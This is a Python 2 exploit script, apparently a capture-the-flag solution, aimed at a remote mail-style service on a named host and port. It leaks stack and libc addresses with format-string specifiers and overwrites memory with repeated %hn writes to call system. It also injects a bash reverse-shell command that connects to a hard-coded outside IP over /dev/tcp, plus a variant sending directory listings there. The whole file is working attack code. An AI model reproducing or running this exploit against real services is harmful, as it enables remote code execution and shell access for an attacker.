#!/usr/bin/env python2
#-*- coding:utf-8 -*-

import sys, socket, logging
import contextlib
import struct
import time
import telnetlib



host = '202.112.51.233'
host = 'pwnbox.ztx.io'
#st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st=telnetlib.Telnet(host,2337)



def S(x):
    st.write(x+'\n')

def W(x,Show=True):
    tmp=st.read_until(x)
    if Show:
        print tmp
    return tmp

@contextlib.contextmanager
def std_redirector(stdin, stdout, stderr):
    orig_fds = sys.stdin, sys.stdout, sys.stderr
    sys.stdin, sys.stdout, sys.stderr = stdin, stdout, stderr
    yield
    sys.stdin, sys.stdout, sys.stderr = orig_fds

class socketWrapper():
    def __init__(self, s): self.s = s
    def read(self, len):   return self.s.recv(len)
    def write(self, str):  return self.s.send(str)
    def readline(self):
    	data = ''
    	while True:
    		iota = self.read(1)
    		if not iota: break
    		else: data += iota
    		if iota in '\n': break
    	return data




rev_shell = ';echo "/bin/bash >/dev/tcp/166.111.132.155/1234 0<&1"|/bin/bash'


W('Exit')
rev_shell=';echo "ls> /dev/tcp/166.111.132.155/1234 0<&1"|/bin/bash'
S('1')
W('To: ')
S('.TO')
W('Subject: ')
S(rev_shell)
W('Body')
S('%15$lx,%21$lx,%34$lx')

W('Exit')
S('3')
W('Subject:')
S('1')

a,b,c= W('Compose').strip().split(',')
libc_system=int(c.split('\n')[0],16)+130251
a=int(a.split('\n')[-1],16)
b=int(b,16)

print "system %08x" % libc_system

def modify_addr(fmt, mail = 2, delete = True):
    #W('Exit')
    S('1')
    W('To: ')
    S('recver')
    W('Subject: ')
    S(rev_shell)
    W('Body')
    S(fmt)

    W('Exit')
    S('3')
    W('[' + str(mail) + ']')
    S(str(mail))

    if delete:
        W('Exit')
        S('4')
        W('[2]')
        S('2')

modify_addr("%09056d%21$hn")
modify_addr("%0" + str(((b & 0xff) + 2) & 0xff)  + "d%15$hhn")
modify_addr("%096d%21$hn")
modify_addr("%0" + str(((b & 0xff) + 4) & 0xff)  + "d%15$hhn")
modify_addr("%21$hn")
modify_addr("%0" + str(libc_system & 0xffff) + "d%27$hn", delete = False)
modify_addr("%0" + str(b & 0xff) + "d%15$hhn", mail = 3, delete = False)
modify_addr("%09058d%21$hn", mail = 4, delete = False)
modify_addr("%0" + str((libc_system >> 16) & 0xffff) + "d%27$hn", mail = 5, delete = False)

W('Exit')
S('4')
#st.interact()

